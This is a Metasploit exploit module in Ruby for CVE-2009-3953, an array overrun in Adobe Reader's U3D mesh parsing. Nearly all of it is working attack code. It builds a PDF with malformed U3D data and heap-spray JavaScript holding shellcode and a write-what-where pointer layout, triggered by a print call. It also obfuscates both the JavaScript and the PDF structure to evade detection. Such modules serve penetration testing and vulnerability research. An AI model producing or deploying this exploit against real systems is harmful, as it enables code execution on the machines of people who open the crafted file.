Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

require 'zlib'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GoodRanking

        include Msf::Exploit::FILEFORMAT

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',

                        'Description'    => %q{

                                        This module exploits an array overflow in Adobe Reader and Adobe Acrobat.

                                        Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a

                                        specially crafted pdf that a contains malformed U3D data, an attacker may

                                        be able to execute arbitrary code.

                        },

                        'License'        => MSF_LICENSE,

                        'Author'         =>

                                [

                                        'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',

                                        'jduck'

                                ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2009-3953' ],

                                        [ 'OSVDB', '61690' ],

                                        [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                        'DisablePayloadHandler' => 'true',

                                },

                        'Payload'        =>

                                {

                                        'Space'         => 1024,

                                        'BadChars'      => "\x00",

                                        'DisableNops'         => true

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        # test results (on Windows XP SP3)

                                        # reader 7.0.5 - untested

                                        # reader 7.0.8 - untested

                                        # reader 7.0.9 - untested

                                        # reader 7.1.0 - untested

                                        # reader 7.1.1 - untested

                                        # reader 8.0.0 - untested

                                        # reader 8.1.2 - works

                                        # reader 8.1.3 - not working :-/

                                        # reader 8.1.4 - untested

                                        # reader 8.1.5 - untested

                                        # reader 8.1.6 - untested

                                        # reader 9.0.0 - untested

                                        # reader 9.1.0 - works

                                        [ 'Adobe Reader Windows Universal (JS Heap Spray)',

                                                {

                                                        'Size'                => (6500/20),

                                                        'DataAddr'        => 0x09011020,

                                                        'WriteAddr'        => 0x7c49fb34,

                                                }

                                        ],

                                ],

                        'DisclosureDate' => 'Oct 13 2009',

                        'DefaultTarget'  => 0))

                register_options(

                        [

                                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),

                        ], self.class)

        end

        def exploit

                # Encode the shellcode.

                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

                # Make some nops

                nops    = Rex::Text.to_unescape(make_nops(4))

=begin

Original notes on heap technique used in this exploit:

## PREPAREHOLES:

## We will construct 6500*20 bytes long chunks starting like this

## |0         |6   |8       |C        |24                    |size

## |00000...  |0100|20100190|0000...  |    ......pad......   |

##                 \      \

##                 \      \ -Pointer: to controlled data

##                   \ -Flag: must be 1

## -Adobe will handle this ragged structure if the Flag is on.

## -Adobe will get 'what to write where' from the memory pointed

##  by our supplied Pointer.

##

## then allocate a bunch of those ..

## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..

##    |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|

##

## and then free some of them...

## .. | chunk | free  | chunk |  free  | chunk |  free  | chunck | ..

##    |XXXXXXX|       |XXXXXXX|        |XXXXXXX|        |XXXXXXXX|

##

## This way controlling when the next 6500*20 malloc will be

## followed with. We freed more than one hole so it became tolerant

## to some degree of malloc/free trace noise.

## Note the 6500 is arbitrary it should be a fairly unused chunk size

## not big enough to cause a different type of allocation.

## Also as we don't need to reference it from anywhere we don't care

## where this hole layout is placed in memory.

## PREPAREMEMORY:

## In the next technique we make a big-chunk of 0x10000 bytes

## repeating a 0x1000 bytes long mini-chunk of controled data.

## Big-chunks are always allocated aligned to 0x1000. And if we

## allocate a fair amount of big-chuncks (XPSPx) we'll be confident

## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000

## will have our mini chunk

##

## A mini-chunk will have this look

##

## |0         |10          |54         |?           |0xff0  |0x1000

## |00000...  |  POINTERS  |    nops   | shellcode  |  pad  |

##

## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+

## But we use 0x09011064.

## POINTERS looks like this:

## ...

=end

                # prepare the hole

                daddr = target['DataAddr']

                hole_data = [0,0,1,daddr].pack('VvvV')

                #padding

                hole_data << "\x00" * 24

                hole = Rex::Text.to_unescape(hole_data)

                # prepare ptrs

                ptrs_data = [0].pack('V')

                #where to write

                ptrs_data << [target['WriteAddr'] / 4].pack('V')

                #must be greater tan 5 and less than x for getting us where we want

                ptrs_data << [6].pack('V')

                #what to write

                ptrs_data << [(daddr+0x10)].pack('V')

                #autopointer for print magic(tm)

                ptrs_data << [(daddr+0x14)].pack('V')

                #function pointers for print magic(tm)

                #pointing to our shellcode

                ptrs_data << [(daddr+0x44)].pack('V') * 12

                ptrs = Rex::Text.to_unescape(ptrs_data)

                js_doc = <<-EOF

function prepareHoles(slide_size)

{

        var size = 1000;

        var xarr = new Array(size);

        var hole = unescape("#{hole}");

        var pad = unescape("%u5858");

        while (pad.length <= slide_size/2 - hole.length)

                pad += pad;

        for (loop1=0; loop1 < size; loop1+=1)

        {

                ident = ""+loop1;

                xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);

        }

        for (loop2=0;loop2<100;loop2++)

        {

                for (loop1=size/2; loop1 < size-2; loop1+=2)

                {

                        xarr[loop1]=null;

                        xarr[loop1]=pad.substring(0,0x10000/2 )+"A";

                        xarr[loop1]=null;

                }

        }

        return xarr;

}

function prepareMemory(size)

{

        var mini_slide_size = 0x1000;

        var slide_size = 0x100000;

        var xarr = new Array(size);

        var pad = unescape("%ucccc");

        while (pad.length <= 32 )

                pad += pad;

        var nops = unescape("#{nops}");

        while (nops.length <= mini_slide_size/2 - nops.length)

                nops += nops;

        var shellcode = unescape("#{shellcode}");

        var pointers = unescape("#{ptrs}");

        var chunk = nops.substring(0,32/2) + pointers +

                nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +

                shellcode + pad.substring(0,32/2);

        chunk=chunk.substring(0,mini_slide_size/2);

        while (chunk.length <= slide_size/2)

                chunk += chunk;

        for (loop1=0; loop1 < size; loop1+=1)

        {

                ident = ""+loop1;

                xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;

        }

        return xarr;

}

        var mem = prepareMemory(200);

        var holes = prepareHoles(6500);

        this.pageNum = 1;

EOF

                js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|

                # Obfuscate it up a bit

                js_doc = obfuscate_js(js_doc,

                        'Symbols' => {

                                'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },

                                'Methods' => %W{ prepareMemory prepareHoles }

                        }).to_s

                # create the u3d stuff

                u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))

                # Create the pdf

                pdf = make_pdf(u3d, js_doc, js_pg1)

                print_status("Creating '#{datastore['FILENAME']}' file...")

                file_create(pdf)

        end

        def obfuscate_js(javascript, opts)

                js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)

                js.obfuscate

                return js

        end

        def RandomNonASCIIString(count)

                result = ""

                count.times do

                        result << (rand(128) + 128).chr

                end

                result

        end

        def ioDef(id)

                "%d 0 obj\n" % id

        end

        def ioRef(id)

                "%d 0 R" % id

        end

        #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/

        def nObfu(str)

                result = ""

                str.scan(/./u) do |c|

                        if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'

                                result << "#%x" % c.unpack("C*")[0]

                        else

                                result << c

                        end

                end

                result

        end

        def ASCIIHexWhitespaceEncode(str)

                result = ""

                whitespace = ""

                str.each_byte do |b|

                        result << whitespace << "%02x" % b

                        whitespace = " " * (rand(3) + 1)

                end

                result << ">"

        end

        def u3d_pad(str, char="\x00")

                ret = ""

                if (str.length % 4) > 0

                        ret << char * (4 - (str.length % 4))

                end

                return ret

        end

        def make_u3d_stream(size, meshname)

                # build the U3D header

                hdr_data = [1,0].pack('n*') # version info

                hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')

                hdr = "U3D\x00"

                hdr << [hdr_data.length,0].pack('VV')

                hdr << hdr_data

                # mesh declaration

                decl_data = [meshname.length].pack('v')

                decl_data << meshname

                decl_data << [0].pack('V') # chain idx

                # max mesh desc

                decl_data << [0].pack('V') # mesh attrs

                decl_data << [1].pack('V') # face count

                decl_data << [size].pack('V') # position count

                decl_data << [4].pack('V') # normal count

                decl_data << [0].pack('V') # diffuse color count

                decl_data << [0].pack('V') # specular color count

                decl_data << [0].pack('V') # texture coord count

                decl_data << [1].pack('V') # shading count

                # shading desc

                decl_data << [0].pack('V') # shading attr

                decl_data << [0].pack('V') # texture layer count

                decl_data << [0].pack('V') # texture coord dimensions

                # no textore coords (original shading ids)

                decl_data << [size+2].pack('V') # minimum resolution

                decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)

                # quality factors

                decl_data << [0x12c].pack('V') # position quality factor

                decl_data << [0x12c].pack('V') # normal quality factor

                decl_data << [0x12c].pack('V') # texture coord quality factor

                # inverse quantiziation

                decl_data << [0].pack('V') # position inverse quant

                decl_data << [0].pack('V') # normal inverse quant

                decl_data << [0].pack('V') # texture coord inverse quant

                decl_data << [0].pack('V') # diffuse color inverse quant

                decl_data << [0].pack('V') # specular color inverse quant

                # resource params

                decl_data << [0].pack('V') # normal crease param

                decl_data << [0].pack('V') # normal update param

                decl_data << [0].pack('V') # normal tolerance param

                # skeleton description

                decl_data << [0].pack('V') # bone count

                # padding

                decl_pad = u3d_pad(decl_data)

                mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')

                mesh_decl << decl_data

                mesh_decl << decl_pad

                # build the modifier chain

                chain_data = [meshname.length].pack('v')

                chain_data << meshname

                chain_data << [1].pack('V') # type (model resource)

                chain_data << [0].pack('V') # attributes (no bounding info)

                chain_data << u3d_pad(chain_data)

                chain_data << [1].pack('V') # number of modifiers

                chain_data << mesh_decl

                modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')

                modifier_chain << chain_data

                # mesh continuation

                cont_data = [meshname.length].pack('v')

                cont_data << meshname

                cont_data << [0].pack('V') # chain idx

                cont_data << [0].pack('V') # start resolution

                cont_data << [0].pack('V') # end resolution

                # no resolution update, unknown data follows

                cont_data << [0].pack('V')

                cont_data << [1].pack('V') * 10

                mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')

                mesh_cont << cont_data

                mesh_cont << u3d_pad(cont_data)

                data = hdr

                data << modifier_chain

                data << mesh_cont

                # patch the length

                data[24,4] = [data.length].pack('V')

                return data

        end

        def make_pdf(u3d_stream, js_doc, js_pg1)

                xref = []

                eol = "\x0a"

                obj_end = "" << eol << "endobj" << eol

                # the header

                pdf = "%PDF-1.7" << eol

                # filename/comment

                pdf << "%" << RandomNonASCIIString(4) << eol

                # js stream (doc open action js)

                xref << pdf.length

                compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))

                pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol

                pdf << "stream" << eol

                pdf << compressed << eol

                pdf << "endstream" << eol

                pdf << obj_end

                # js stream 2 (page 1 annot js)

                xref << pdf.length

                compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))

                pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol

                pdf << "stream" << eol

                pdf << compressed << eol

                pdf << "endstream" << eol

                pdf << obj_end

                # catalog

                xref << pdf.length

                pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)

                pdf << nObfu("/Pages ") << ioRef(5)

                pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")

                pdf << obj_end

                # outline

                xref << pdf.length

                pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")

                pdf << obj_end

                # pages/kids

                xref << pdf.length

                pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")

                pdf << ioRef(10) << " " # empty page

                pdf << ioRef(11) # u3d page

                pdf << nObfu("]>>")

                pdf << obj_end

                # u3d stream

                xref << pdf.length

                pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol

                pdf << "stream" << eol

                pdf << u3d_stream << eol

                pdf << "endstream"

                pdf << obj_end

                # u3d annotation object

                xref << pdf.length

                pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")

                pdf << "/3D/3DA <</A/PO/DIS/I>>"

                pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")

                pdf << obj_end

                # js dict (open action js)

                xref << pdf.length

                pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end

                # js dict (page 1 annot js)

                xref << pdf.length

                pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end

                # page 0 (empty)

                xref << pdf.length

                pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")

                pdf << nObfu(" >>")

                pdf << obj_end

                # page 1 (u3d/print)

                xref << pdf.length

                pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")

                pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")

                pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")

                pdf << nObfu(">>")

                pdf << obj_end

                # xrefs

                xrefPosition = pdf.length

                pdf << "xref" << eol

                pdf << "0 %d" % (xref.length + 1) << eol

                pdf << "0000000000 65535 f" << eol

                xref.each do |index|

                        pdf << "%010d 00000 n" % index << eol

                end

                # trailer

                pdf << "trailer" << eol

                pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol

                pdf << "startxref" << eol

                pdf << xrefPosition.to_s() << eol

                pdf << "%%EOF" << eol

        end

end